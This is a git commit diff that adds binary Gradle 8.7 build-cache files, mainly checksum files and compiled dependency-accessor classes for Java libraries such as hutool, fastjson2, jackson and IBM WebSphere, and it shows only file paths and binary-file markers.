commit 130d67f3efed5d9116bf8199549b61cad20c71c5 Author: qi4L Date: Tue Apr 2 17:04:39 2024 +0800 gradle++1 diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock new file mode 100644 index 0000000..17196cd Binary files /dev/null and b/.gradle/8.7/checksums/checksums.lock differ diff --git a/.gradle/8.7/checksums/md5-checksums.bin b/.gradle/8.7/checksums/md5-checksums.bin new file mode 100644 index 0000000..24d9b7d Binary files /dev/null and b/.gradle/8.7/checksums/md5-checksums.bin differ diff --git a/.gradle/8.7/checksums/sha1-checksums.bin b/.gradle/8.7/checksums/sha1-checksums.bin new file mode 100644 index 0000000..bb5bdbc Binary files /dev/null and b/.gradle/8.7/checksums/sha1-checksums.bin differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$BundleAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$BundleAccessors.class new file mode 100644 index 0000000..b4ad57c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$BundleAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolHutoolLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolHutoolLibraryAccessors.class new file mode 100644 index 0000000..9d38321 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolHutoolLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolHutoolVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolHutoolVersionAccessors.class new file mode 100644 index 0000000..03c34b8 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolHutoolVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolLibraryAccessors.class new file mode 100644 index 0000000..85ccfc9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolVersionAccessors.class new file mode 100644 index 0000000..428da8b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnHutoolVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnLibraryAccessors.class new file mode 100644 index 0000000..f65bea5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnVersionAccessors.class new file mode 100644 index 0000000..ec50443 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CnVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaFastjson2LibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaFastjson2LibraryAccessors.class new file mode 100644 index 0000000..c4817ba Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaFastjson2LibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaFastjson2VersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaFastjson2VersionAccessors.class new file mode 100644 index 0000000..9ea5815 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaFastjson2VersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaLibraryAccessors.class new file mode 100644 index 0000000..dfa76d8 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaVersionAccessors.class new file mode 100644 index 0000000..4e03f36 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComAlibabaVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComBeustLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComBeustLibraryAccessors.class new file mode 100644 index 0000000..de701b7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComBeustLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComBeustVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComBeustVersionAccessors.class new file mode 100644 index 0000000..f1d8a6d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComBeustVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComCauchoLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComCauchoLibraryAccessors.class new file mode 100644 index 0000000..d587ba9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComCauchoLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComCauchoVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComCauchoVersionAccessors.class new file mode 100644 index 0000000..4cf1215 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComCauchoVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreJacksonLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreJacksonLibraryAccessors.class new file mode 100644 index 0000000..464182a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreJacksonLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreJacksonVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreJacksonVersionAccessors.class new file mode 100644 index 0000000..16ca5bb Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreJacksonVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreLibraryAccessors.class new file mode 100644 index 0000000..2cb6e2a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreVersionAccessors.class new file mode 100644 index 0000000..43c5bf3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonCoreVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonLibraryAccessors.class new file mode 100644 index 0000000..a875749 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonVersionAccessors.class new file mode 100644 index 0000000..64fd353 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlJacksonVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlLibraryAccessors.class new file mode 100644 index 0000000..097bf41 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlVersionAccessors.class new file mode 100644 index 0000000..c587d93 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComFasterxmlVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmLibraryAccessors.class new file mode 100644 index 0000000..2a3917a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmVersionAccessors.class new file mode 100644 index 0000000..e5f72c9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmLibraryAccessors.class new file mode 100644 index 0000000..eb527e2 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmVersionAccessors.class new file mode 100644 index 0000000..8872564 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors.class new file mode 100644 index 0000000..25f2fa4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors.class new file mode 100644 index 0000000..05cad7a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors.class new file mode 100644 index 0000000..297472f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors.class new file mode 100644 index 0000000..c36649d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors.class new file mode 100644 index 0000000..998649e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors.class new file mode 100644 index 0000000..f3cc53e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComLibraryAccessors.class new file mode 100644 index 0000000..5a4f15f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComVersionAccessors.class new file mode 100644 index 0000000..ed684c7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiComVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiLibraryAccessors.class new file mode 100644 index 0000000..7248a73 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiVersionAccessors.class new file mode 100644 index 0000000..d354d89 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverApiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverLibraryAccessors.class new file mode 100644 index 0000000..056a94c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverVersionAccessors.class new file mode 100644 index 0000000..c901c63 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereAppserverVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereLibraryAccessors.class new file mode 100644 index 0000000..7bf2c21 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereVersionAccessors.class new file mode 100644 index 0000000..11ae963 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComIbmWebsphereVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComLibraryAccessors.class new file mode 100644 index 0000000..79deb7e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComMchangeLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComMchangeLibraryAccessors.class new file mode 100644 index 0000000..bb6a69a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComMchangeLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComMchangeVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComMchangeVersionAccessors.class new file mode 100644 index 0000000..4e4c4e3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComMchangeVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroLibraryAccessors.class new file mode 100644 index 0000000..bc05e7a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroPermitLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroPermitLibraryAccessors.class new file mode 100644 index 0000000..a8409f4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroPermitLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroPermitVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroPermitVersionAccessors.class new file mode 100644 index 0000000..91f0fa6 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroPermitVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroVersionAccessors.class 